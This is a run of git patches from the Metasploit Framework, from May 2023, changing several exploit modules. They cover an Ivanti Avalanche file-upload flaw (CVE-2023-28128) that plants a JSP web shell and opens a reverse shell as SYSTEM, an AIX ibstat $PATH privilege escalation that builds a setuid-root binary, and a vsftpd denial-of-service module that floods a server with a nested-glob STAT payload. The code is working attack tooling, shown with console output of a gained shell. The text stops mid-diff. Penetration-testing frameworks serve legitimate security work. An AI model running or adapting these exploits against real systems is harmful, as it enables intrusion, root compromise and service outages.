131f2519bcce95d8b0123b29f3c8066fd398e0ef Mon Sep 17 00:00:00 2001 From: Shelby Pace <40177151+space-r7@users.noreply.github.com> Date: Thu, 11 May 2023 10:48:48 -0500 Subject: [PATCH 104/415] Update modules/exploits/windows/http/ivanti_avalanche_filestoreconfig_upload.rb Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com> --- .../windows/http/ivanti_avalanche_filestoreconfig_upload.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/http/ivanti_avalanche_filestoreconfig_upload.rb b/modules/exploits/windows/http/ivanti_avalanche_filestoreconfig_upload.rb index 9bc9192785a6a..12c3835072f46 100644 --- a/modules/exploits/windows/http/ivanti_avalanche_filestoreconfig_upload.rb +++ b/modules/exploits/windows/http/ivanti_avalanche_filestoreconfig_upload.rb @@ -31,7 +31,7 @@ def initialize(info = {}) ['URL', 'https://forums.ivanti.com/s/article/ZDI-CAN-17812-Ivanti-Avalanche-FileStoreConfig-Arbitrary-File-Upload-Remote-Code-Execution-Vulnerability?language=en_US'], ['CVE', '2023-28128'] ], - 'Platform' => ['win'], + 'Platform' => ['win', 'java'], 'Privileged' => true, 'Arch' => ARCH_JAVA, 'Targets' => [ From a445b072330a4296974ecb49a6c2f03a424e33fd Mon Sep 17 00:00:00 2001 From: catatonicprime Date: Thu, 11 May 2023 16:35:53 +0000 Subject: [PATCH 105/415] removing unnecessary call to payload_uri --- modules/exploits/multi/http/papercut_ng_auth_bypass.rb | 2 -- 1 file changed, 2 deletions(-) diff --git a/modules/exploits/multi/http/papercut_ng_auth_bypass.rb b/modules/exploits/multi/http/papercut_ng_auth_bypass.rb index a5a0b619c505b..7f7f20a15aa7b 100644 --- a/modules/exploits/multi/http/papercut_ng_auth_bypass.rb +++ b/modules/exploits/multi/http/papercut_ng_auth_bypass.rb @@ -209,8 +209,6 @@ def check end def exploit - @payload_uri = get_uri - # Main function # 1) Bypass the auth using the SetupCompleted page & store the csrf_token for future requests. @csrf_token = bypass_auth unless @csrf_token From 722de33b6f32ff09ace727e182cc971da23e049d Mon Sep 17 00:00:00 2001 From: space-r7 Date: Thu, 11 May 2023 13:20:25 -0500 Subject: [PATCH 106/415] address feedback, use cleanup to restore path fix bug where if config restore failed, module would output that it was both a failure and a success add akb topic as reference --- ...ivanti_avalanche_filestoreconfig_upload.md | 7 ++-- ...ivanti_avalanche_filestoreconfig_upload.rb | 36 +++++++++++-------- 2 files changed, 24 insertions(+), 19 deletions(-) diff --git a/documentation/modules/exploit/windows/http/ivanti_avalanche_filestoreconfig_upload.md b/documentation/modules/exploit/windows/http/ivanti_avalanche_filestoreconfig_upload.md index b6829fcaacfcc..c2e28cbd6328f 100644 --- a/documentation/modules/exploit/windows/http/ivanti_avalanche_filestoreconfig_upload.md +++ b/documentation/modules/exploit/windows/http/ivanti_avalanche_filestoreconfig_upload.md @@ -1,8 +1,8 @@ ## Vulnerable Application For versions of Ivanti Avalanche below `v6.4.0.186`, an authenticated administrator -can change the default path for the Central FileStore. While the default path -is set to `C:\Program Files\Wavelink\Avalanche\EnterpriseServer\centralfilestore\files`, +can change the default path for the Central FileStore via the Configuration Settings pane. +While the default path is set to `C:\Program Files\Wavelink\Avalanche\EnterpriseServer\centralfilestore\files`, Ivanti Avalanche restricts the path from being set to folders within the `Windows` and `Program Files` directories. These restrictions do not account for MS-DOS (8.3) path names, so this naming convention can be used to set the Central FileStore path to @@ -102,8 +102,7 @@ msf6 exploit(windows/http/ivanti_avalanche_filestoreconfig_upload) > run [*] Attempting to restore config path [!] Tried to delete webapps/LWRrxDXWxhbz.jsp, unknown result [*] Command shell session 1 opened (192.168.140.1:4444 -> 192.168.140.150:50249) at 2023-05-08 14:27:58 -0500 -[!] Failed to restore the FileStore config path to its original path. Please manually restore it. -[+] Successfully restored the FileStore config path +[!] Failed to restore the FileStore config path to its original path. Please manually restore FileStore config via Tools -> Central FileStore -> Configurations. Shell Banner: diff --git a/modules/exploits/windows/http/ivanti_avalanche_filestoreconfig_upload.rb b/modules/exploits/windows/http/ivanti_avalanche_filestoreconfig_upload.rb index 12c3835072f46..09206a037ca54 100644 --- a/modules/exploits/windows/http/ivanti_avalanche_filestoreconfig_upload.rb +++ b/modules/exploits/windows/http/ivanti_avalanche_filestoreconfig_upload.rb @@ -29,20 +29,21 @@ def initialize(info = {}) 'References' => [ ['URL', 'https://www.zerodayinitiative.com/advisories/ZDI-23-456/'], ['URL', 'https://forums.ivanti.com/s/article/ZDI-CAN-17812-Ivanti-Avalanche-FileStoreConfig-Arbitrary-File-Upload-Remote-Code-Execution-Vulnerability?language=en_US'], + ['URL', 'https://attackerkb.com/topics/jcdcN9SN9V/cve-2023-28128'], ['CVE', '2023-28128'] ], 'Platform' => ['win', 'java'], 'Privileged' => true, 'Arch' => ARCH_JAVA, 'Targets' => [ - [ 'Automatic Target', {}] + [ 'Automatic Target', { 'DefaultOptions' => { 'Payload' => 'java/jsp_shell_reverse_tcp' } }] ], 'DisclosureDate' => '2023-04-24', 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [ CRASH_SAFE ], 'Reliability' => [ REPEATABLE_SESSION ], - 'SideEffects' => [ IOC_IN_LOGS ] + 'SideEffects' => [ IOC_IN_LOGS, ARTIFACTS_ON_DISK ] } ) ) @@ -65,7 +66,7 @@ def check return CheckCode::Unknown('Failed to receive a response from the application') unless res - unless res.body.include?('Avalanche') + unless res.body.include?('Avalanche - User Login') return CheckCode::Safe('Application does not appear to be Ivanti Avalanche') end @@ -95,7 +96,7 @@ def authenticate 'keep_cookies' => true ) - fail_with(Failure::UnexpectedReply, 'Failed to access login page') unless res&.body&.include?('Login') + fail_with(Failure::UnexpectedReply, 'Failed to access login page') unless res&.body&.include?('Avalanche - User Login') html = res.get_html_document view_state = get_view_state(html) @@ -167,7 +168,6 @@ def configure_filestore ) fail_with(Failure::UnexpectedReply, 'Failed to change FileStore config path') unless res&.body&.include?(new_config_path) - new_config_path end def get_directory_val(res, dir_name) @@ -217,7 +217,7 @@ def select_folder(data_rk, view_state) ) end - def upload_payload(_config_path) + def upload_payload payload_name = "#{Rex::Text.rand_text_alpha(5..12)}.jsp" # need to 'select' webapps/AvalancheWeb to upload a file res = send_request_cgi( @@ -288,7 +288,8 @@ def upload_payload(_config_path) payload_name end - def reset_filestore_dir + def cleanup + restore_msg = 'Please manually restore FileStore config via Tools -> Central FileStore -> Configurations.' print_status('Attempting to restore config path') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'app', 'FileStoreConfig.jsf'), @@ -297,14 +298,14 @@ def reset_filestore_dir ) unless res - fail_with(Failure::UnexpectedReply, 'Could not access FileStore config. Please manually restore FileStore config path') + fail_with(Failure::UnexpectedReply, "Could not access FileStore config. #{restore_msg}") end html = res.get_html_document view_state = get_view_state(html) - fail_with(Failure::UnexpectedReply, 'Failed to get view state. Please manually restore FileStore config path') unless view_state + fail_with(Failure::UnexpectedReply, "Failed to get view state. #{restore_msg}") unless view_state - res = send_request_cgi( + send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'app', 'FileStoreConfig.jsf'), 'method' => 'POST', 'keep_cookies' => true, @@ -317,8 +318,15 @@ def reset_filestore_dir } ) + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'app', 'FileStoreConfig.jsf'), + 'method' => 'GET', + 'keep_cookies' => true + ) + unless res&.body&.include?(@original_config_path) - print_warning('Failed to restore the FileStore config path to its original path. Please manually restore it.') + print_warning("Failed to restore the FileStore config path to its original path. #{restore_msg}") + return end print_good('Successfully restored the FileStore config path') @@ -326,8 +334,8 @@ def reset_filestore_dir def exploit authenticate - config_path = configure_filestore - payload_name = upload_payload(config_path) + configure_filestore + payload_name = upload_payload register_file_for_cleanup("webapps/#{payload_name}") send_request_cgi( @@ -335,7 +343,5 @@ def exploit 'method' => 'GET', 'keep_cookies' => true ) - ensure - reset_filestore_dir end end From cf5f90ac4f2be6e5ab3b63ea8d9161dbb72135f5 Mon Sep 17 00:00:00 2001 From: Grant Willcox Date: Thu, 11 May 2023 16:48:16 -0500 Subject: [PATCH 107/415] Minor updates to documentation to tidy things up a bit --- .../ivanti_avalanche_filestoreconfig_upload.md | 14 ++++---------- 1 file changed, 4 insertions(+), 10 deletions(-) diff --git a/documentation/modules/exploit/windows/http/ivanti_avalanche_filestoreconfig_upload.md b/documentation/modules/exploit/windows/http/ivanti_avalanche_filestoreconfig_upload.md index c2e28cbd6328f..fcc6bf34d42e7 100644 --- a/documentation/modules/exploit/windows/http/ivanti_avalanche_filestoreconfig_upload.md +++ b/documentation/modules/exploit/windows/http/ivanti_avalanche_filestoreconfig_upload.md @@ -5,13 +5,12 @@ can change the default path for the Central FileStore via the Configuration Sett While the default path is set to `C:\Program Files\Wavelink\Avalanche\EnterpriseServer\centralfilestore\files`, Ivanti Avalanche restricts the path from being set to folders within the `Windows` and `Program Files` directories. These restrictions do not account for MS-DOS (8.3) path -names, so this naming convention can be used to set the Central FileStore path to -the web root of the application. This module leverages this vulnerability to -upload a JSP web shell and gain RCE as `NT AUTHORITY\SYSTEM`. +names, which can be used to set the Central FileStore path to the web root of the application. +This module leverages this vulnerability to upload a JSP web shell and gain RCE as `NT AUTHORITY\SYSTEM`. ### Installation Instructions -The software requires a version of MSSQL server to be installed. The installation +The software requires a version of MSSQL Server to be installed. The installation instructions use MSSQL Server 2012, but 2017 worked for my setup. Ensure that `SQL Server and Windows Authentication Mode` is selected as the default for server authentication. This can either be done at installation or via @@ -110,14 +109,9 @@ Microsoft Windows [Version 10.0.19041.630] ----- -C:\Program Files\Wavelink\Avalanche\Web> -C:\Program Files\Wavelink\Avalanche\Web> C:\Program Files\Wavelink\Avalanche\Web>whoami whoami nt authority\system -C:\Program Files\Wavelink\Avalanche\Web>^C -Abort session 1? [y/N] y - -[*] 192.168.140.150 - Command shell session 1 closed. Reason: User exit +C:\Program Files\Wavelink\Avalanche\Web> ``` From 004a72c32e8cb19d3b8b30240618228b36656383 Mon Sep 17 00:00:00 2001 From: bcoles Date: Sat, 13 May 2023 01:27:53 +1000 Subject: [PATCH 108/415] ibstat_path: Use AutoCheck, add Notes, resolve Rubocop violations --- modules/exploits/aix/local/ibstat_path.rb | 185 ++++++++++++---------- 1 file changed, 98 insertions(+), 87 deletions(-) diff --git a/modules/exploits/aix/local/ibstat_path.rb b/modules/exploits/aix/local/ibstat_path.rb index c618165c9c466..dcce59c48b08d 100644 --- a/modules/exploits/aix/local/ibstat_path.rb +++ b/modules/exploits/aix/local/ibstat_path.rb @@ -8,66 +8,75 @@ class MetasploitModule < Msf::Exploit::Local include Msf::Post::File include Msf::Exploit::FileDropper + prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) - super(update_info(info, - "Name" => "ibstat $PATH Privilege Escalation", - "Description" => %q{ - This module exploits the trusted $PATH environment variable of the SUID binary "ibstat". - }, - "Author" => [ - "Kristian Erik Hermansen", #original author - "Sagi Shahar ", #Metasploit module - "Kostas Lintovois " #Metasploit module - ], - "References" => [ - ["CVE", "2013-4011"], - ["OSVDB", "95420"], - ["BID", "61287"], - ["URL", "http://www-01.ibm.com/support/docview.wss?uid=isg1IV43827"], - ["URL", "http://www-01.ibm.com/support/docview.wss?uid=isg1IV43756"] - ], - "Platform" => ["unix"], - "Arch" => ARCH_CMD, - "Payload" => { - "Compat" => { - "PayloadType" => "cmd", - "RequiredCmd" => "perl" + super( + update_info( + info, + 'Name' => 'ibstat $PATH Privilege Escalation', + 'Description' => %q{ + This module exploits the trusted $PATH environment variable of the SUID binary "ibstat". + }, + 'Author' => [ + 'Kristian Erik Hermansen', # original author + 'Sagi Shahar ', # Metasploit module + 'Kostas Lintovois ' # Metasploit module + ], + 'References' => [ + ['CVE', '2013-4011'], + ['OSVDB', '95420'], + ['BID', '61287'], + ['URL', 'http://www-01.ibm.com/support/docview.wss?uid=isg1IV43827'], + ['URL', 'http://www-01.ibm.com/support/docview.wss?uid=isg1IV43756'] + ], + 'Platform' => %w[unix aix], + 'Arch' => ARCH_CMD, + 'Payload' => { + 'Compat' => { + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'perl' + } + }, + 'SessionTypes' => %w[shell], + 'Targets' => [ + ['IBM AIX Version 6.1', {}], + ['IBM AIX Version 7.1', {}] + ], + 'DefaultTarget' => 1, + 'DisclosureDate' => '2013-09-24', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [ARTIFACTS_ON_DISK] } - }, - "Targets" => [ - ["IBM AIX Version 6.1", {}], - ["IBM AIX Version 7.1", {}] - ], - "DefaultTarget" => 1, - "DisclosureDate" => '2013-09-24' - )) + ) + ) register_options([ - OptString.new("WritableDir", [true, "A directory where we can write files", "/tmp"]) + OptString.new('IBSTAT_PATH', [true, 'Path to ibstat executable', '/usr/bin/ibstat']) ]) + register_advanced_options([ + OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp']) + ]) + end + + def ibstat_path + datastore['IBSTAT_PATH'] end def check - find_output = cmd_exec("find /usr/sbin/ -name ibstat -perm -u=s -user root 2>/dev/null") + find_output = cmd_exec('find /usr/sbin/ -name ibstat -perm -u=s -user root 2>/dev/null') - if find_output.include?("ibstat") - return Exploit::CheckCode::Vulnerable - end + return CheckCode::Safe("#{ibstat_path} is not set-uid root") unless find_output.to_s.include?('ibstat') - Exploit::CheckCode::Safe + CheckCode::Appears("#{ibstat_path} is set-uid root") end def exploit - if check == Exploit::CheckCode::Safe - fail_with(Failure::NotVulnerable, "Target is not vulnerable.") - else - print_good("Target is vulnerable.") - end - - root_file = "#{datastore["WritableDir"]}/#{rand_text_alpha(8)}" - arp_file = "#{datastore["WritableDir"]}/arp" - c_file = %Q^#include + root_file = "#{datastore['WritableDir']}/#{rand_text_alpha(8)}" + arp_file = "#{datastore['WritableDir']}/arp" + c_file = %^#include int main() { @@ -77,19 +86,19 @@ def exploit return 0; } ^ - arp = %Q^#!/bin/sh + arp = %(#!/bin/sh chown root #{root_file} chmod 4555 #{root_file} -^ +) if gcc_installed? print_status("Dropping file #{root_file}.c...") write_file("#{root_file}.c", c_file) - print_status("Compiling source...") + print_status('Compiling source...') cmd_exec("gcc -o #{root_file} #{root_file}.c") - print_status("Compilation completed") + print_status('Compilation completed') register_file_for_cleanup("#{root_file}.c") else @@ -98,75 +107,77 @@ def exploit register_file_for_cleanup(root_file) - print_status("Writing custom arp file...") - write_file(arp_file,arp) + print_status('Writing custom arp file...') + write_file(arp_file, arp) register_file_for_cleanup(arp_file) cmd_exec("chmod 0555 #{arp_file}") - print_status("Custom arp file written") - - print_status("Updating $PATH environment variable...") - path_env = cmd_exec("echo $PATH") - cmd_exec("PATH=#{datastore["WritableDir"]}:$PATH") - cmd_exec("export PATH") - - print_status("Finding interface name...") - iface = "" - cmd_exec("lsdev -Cc if").each_line do |line| - if line.match(/^[a-z]+[0-9]+\s+Available/) and not line.match(/^lo[0-9]/) - iface = line.split(/\s+/)[0] - print_status("Found interface #{iface}.") - break - end + print_status('Custom arp file written') + + print_status('Updating $PATH environment variable...') + path_env = cmd_exec('echo $PATH') + cmd_exec("PATH=#{datastore['WritableDir']}:$PATH") + cmd_exec('export PATH') + + print_status('Finding interface name...') + iface = '' + cmd_exec('lsdev -Cc if').each_line do |line| + next unless line.match(/^[a-z]+[0-9]+\s+Available/) && !line.match(/^lo[0-9]/) + + iface = line.split(/\s+/)[0] + print_status("Found interface #{iface}.") + break end - if iface == "" - iface = "en0" - print_status("Found no interface, defaulting to en0.") + + if iface == '' + iface = 'en0' + print_status('Found no interface, defaulting to en0.') end - print_status("Triggering vulnerablity...") - cmd_exec("/usr/bin/ibstat -a -i #{iface} 2>/dev/null >/dev/null") + print_status('Triggering vulnerablity...') + cmd_exec("#{ibstat_path} -a -i #{iface} 2>/dev/null >/dev/null") # The $PATH variable must be restored before the payload is executed # in cases where an euid root shell was gained - print_status("Restoring $PATH environment variable...") + print_status('Restoring $PATH environment variable...') cmd_exec("PATH=#{path_env}") - cmd_exec("export PATH") + cmd_exec('export PATH') cmd_exec(root_file) - print_status("Checking root privileges...") + print_status('Checking root privileges...') if is_root? - print_status("Executing payload...") + print_status('Executing payload...') cmd_exec(payload.encoded) end end def gcc_installed? - print_status("Checking if gcc exists...") - gcc_whereis_output = cmd_exec("whereis -b gcc") + print_status('Checking if gcc exists...') + gcc_whereis_output = cmd_exec('whereis -b gcc') - if gcc_whereis_output.include?("/") - print_good("gcc found!") + if gcc_whereis_output.to_s.include?('/') + print_good('gcc found!') return true end - print_status("gcc not found. Using /bin/sh from local system") + print_status('gcc not found. Using /bin/sh from local system') false end def is_root? - id_output = cmd_exec("id") + id_output = cmd_exec('id') - if id_output.include?("euid=0(root)") - print_good("Got root! (euid)") + if id_output.include?('euid=0(root)') + print_good('Got root! (euid)') return true end - if id_output.include?("uid=0(root)") - print_good("Got root!") + + if id_output.include?('uid=0(root)') + print_good('Got root!') return true end - print_error("Exploit failed") + print_error('Exploit failed') false end end From f46967e2c48b24efaac3a497f2971cc61575ff0a Mon Sep 17 00:00:00 2001 From: RadioLogic Date: Fri, 12 May 2023 11:29:32 -0400 Subject: [PATCH 109/415] Added config for solargraph to aid IDEs --- .solargraph.yml | 22 ++++++++++++++++++++++ 1 file changed, 22 insertions(+) create mode 100644 .solargraph.yml diff --git a/.solargraph.yml b/.solargraph.yml new file mode 100644 index 0000000000000..068d3f0dc7e27 --- /dev/null +++ b/.solargraph.yml @@ -0,0 +1,22 @@ +--- +include: +- "lib/**/*.rb" +exclude: +- spec/**/* +- test/**/* +- vendor/**/* +- ".bundle/**/*" +require: [] +domains: [] +reporters: +- rubocop +- require_not_found +formatter: + rubocop: + cops: safe + except: [] + only: [] + extra_args: [] +require_paths: [] +plugins: [] +max_files: 8000 From 3c0222d7d0cdde4ff8aebb74672624964988e038 Mon Sep 17 00:00:00 2001 From: Metasploit Date: Fri, 12 May 2023 13:16:50 -0500 Subject: [PATCH 110/415] automatic module_metadata_base.json update --- db/modules_metadata_base.json | 15 ++++++++++++--- 1 file changed, 12 insertions(+), 3 deletions(-) diff --git a/db/modules_metadata_base.json b/db/modules_metadata_base.json index 46d02820601a1..dce74105cdb94 100644 --- a/db/modules_metadata_base.json +++ b/db/modules_metadata_base.json @@ -56821,7 +56821,7 @@ "URL-http://www-01.ibm.com/support/docview.wss?uid=isg1IV43827", "URL-http://www-01.ibm.com/support/docview.wss?uid=isg1IV43756" ], - "platform": "Unix", + "platform": "AIX,Unix", "arch": "cmd", "rport": null, "autofilter_ports": [ @@ -56834,7 +56834,7 @@ "IBM AIX Version 6.1", "IBM AIX Version 7.1" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2023-05-13 01:27:53 +0000", "path": "/modules/exploits/aix/local/ibstat_path.rb", "is_install_path": true, "ref_name": "aix/local/ibstat_path", @@ -56842,9 +56842,18 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "Reliability": [ + "repeatable-session" + ], + "SideEffects": [ + "artifacts-on-disk" + ] }, "session_types": [ - + "shell" ], "needs_cleanup": true }, From 0e9060e2954bad2892dffd9a73bde8683f856725 Mon Sep 17 00:00:00 2001 From: RadioLogic Date: Fri, 12 May 2023 14:27:12 -0400 Subject: [PATCH 111/415] Added documentation for module --- .../modules/auxiliary/dos/ftp/vsftpd_232.md | 19 +++++++++++++++++++ 1 file changed, 19 insertions(+) create mode 100644 documentation/modules/auxiliary/dos/ftp/vsftpd_232.md diff --git a/documentation/modules/auxiliary/dos/ftp/vsftpd_232.md b/documentation/modules/auxiliary/dos/ftp/vsftpd_232.md new file mode 100644 index 0000000000000..7f871f10243bc --- /dev/null +++ b/documentation/modules/auxiliary/dos/ftp/vsftpd_232.md @@ -0,0 +1,19 @@ +## Vulnerable Application + +This is an auxiliary for DOSing a VSFTPD server from version 2.3.3 and below. + +## Verification Steps + +1. Start `msfconsole` +2. `use auxiliary/dos/ftp/vstfpd_232` +3. `set rhosts` +4. `set ftpuser` +5. `set ftppass` +6. `run` + +## Scenarios + +### VSFTPD 2.3.2 - Ubuntu 12.04 + +``` +``` From 04e6bf804fa59b2a04c921557ee933d1f3b02e1b Mon Sep 17 00:00:00 2001 From: RadioLogic Date: Fri, 12 May 2023 14:27:58 -0400 Subject: [PATCH 112/415] Made stability involve service down --- modules/auxiliary/dos/ftp/vstfpd_232.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/dos/ftp/vstfpd_232.rb b/modules/auxiliary/dos/ftp/vstfpd_232.rb index 519c303a731e1..01ec2d16d7c10 100644 --- a/modules/auxiliary/dos/ftp/vstfpd_232.rb +++ b/modules/auxiliary/dos/ftp/vstfpd_232.rb @@ -24,7 +24,7 @@ def initialize(info = {}) ], 'DisclosureDate' => '2011-02-03', 'Notes' => { - 'Stability' => [CRASH_SAFE], + 'Stability' => [CRASH_SERVICE_DOWN], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [] } From b7b1df23eaefb69a331ecb74a30ff6cd744c6d1a Mon Sep 17 00:00:00 2001 From: RadioLogic Date: Fri, 12 May 2023 14:28:10 -0400 Subject: [PATCH 113/415] Implemented threading into module --- modules/auxiliary/dos/ftp/vstfpd_232.rb | 63 +++++++++++++++++++------ 1 file changed, 48 insertions(+), 15 deletions(-) diff --git a/modules/auxiliary/dos/ftp/vstfpd_232.rb b/modules/auxiliary/dos/ftp/vstfpd_232.rb index 01ec2d16d7c10..81322096e83cf 100644 --- a/modules/auxiliary/dos/ftp/vstfpd_232.rb +++ b/modules/auxiliary/dos/ftp/vstfpd_232.rb @@ -29,7 +29,13 @@ def initialize(info = {}) 'SideEffects' => [] } ) - ) + ) + + register_advanced_options( + [ + OptInt.new('TestThreads', [ true, 'Number of test threads', 5]) + ] + ) end def check @@ -70,25 +76,52 @@ def check def run fail_with(Failure::NotVulnerable, 'Target is not vulnerable.') if check != Exploit::CheckCode::Appears - connect_login payload = 'STAT {{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{.}}}]}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}]}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}]}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}]}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}]}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}]}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}' - print_status("Payload being sent: #{payload}") + vprint_status("Payload being sent: #{payload}") - loop do - print_status('sending payload') - for i in 0..10 do - send_cmd([payload.to_s], false) + threads = [] + datastore['TestThreads'].times do + threads << Thread.new do + # Connect to ftp port + ftp = connect_ftp(datastore['RHOSTS'], datastore['RPORT'], datastore['FTPUSER'], datastore['FTPPASS']) + + loop do + print_status('sending payload') + 10.times do + ftp.send_cmd([payload.to_s], false) + end + ftp.send_cmd([payload.to_s], true) + rescue Rex::ConnectionTimeout + print_error('Connection timeout! Sending again') + rescue Errno::ECONNRESET + print_error('Connection reset!') + rescue Rex::ConnectionRefused + print_good('Connection refused! Appears DOS attack succeeded.') + end + ftp.disconnect end - send_cmd([payload.to_s], true) - rescue Rex::ConnectionTimeout - print_error('Connection timeout! Sending again') - rescue Errno::ECONNRESET - print_error('Connection reset!') - rescue Rex::ConnectionRefused - print_good('Connection refused! Appears DOS attack succeeded.') end - disconnect + + sleep(1) until stopping? + + # Stop the threads + threads.each(&:kill) + threads.each(&:join) + print_status('DDOS ended.') + end + + def connect_ftp(host, port, user, pass) + ftp = Rex::Proto::FTP::Client.new(host, port, true) + ftp.connect + + # Log in to the FTP server + ftp.login(user, pass) + + # Set passive mode + ftp.passive = true + + ftp end end From 3b2d23eeae49f14033a1b96468a248d4bad7c40e Mon Sep 17 00:00:00 2001 From: Grant Willcox Date: Fri, 12 May 2023 14:14:40 -0500 Subject: [PATCH 114/415] Fix up check method, unduplicate fail_with messages to make them unique, and add @cleanup_needed so we can check if cleanup is needed to avoid unnecessary messages when just checking if the target is vulnerable or not --- ...ivanti_avalanche_filestoreconfig_upload.rb | 48 ++++++++++++++----- 1 file changed, 35 insertions(+), 13 deletions(-) diff --git a/modules/exploits/windows/http/ivanti_avalanche_filestoreconfig_upload.rb b/modules/exploits/windows/http/ivanti_avalanche_filestoreconfig_upload.rb index 09206a037ca54..ef5de28c7bf6c 100644 --- a/modules/exploits/windows/http/ivanti_avalanche_filestoreconfig_upload.rb +++ b/modules/exploits/windows/http/ivanti_avalanche_filestoreconfig_upload.rb @@ -59,6 +59,9 @@ def initialize(info = {}) end def check + # Cleanup should not be needed after doing just a check. + @cleanup_needed = false + res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'login.jsf'), 'method' => 'GET' @@ -80,9 +83,15 @@ def check version = version[1] vprint_status("Version of Ivanti Avalanche appears to be v#{version}") ver_no = Rex::Version.new(version) - return CheckCode::Appears if ver_no < Rex::Version.new('6.4.0.186') - - CheckCode::Detected + patched_version = Rex::Version.new('6.4.0.186') + + if ver_no >= patched_version + CheckCode::Safe('Target has been patched!') + elsif ver_no < patched_version + CheckCode::Appears('Target appears to be running an unpatched version of Ivanti Avalanche!') + else + CheckCode::Unknown("This should never be hit! Some error occurred when grabbing the target version: #{ver_no}") + end end def 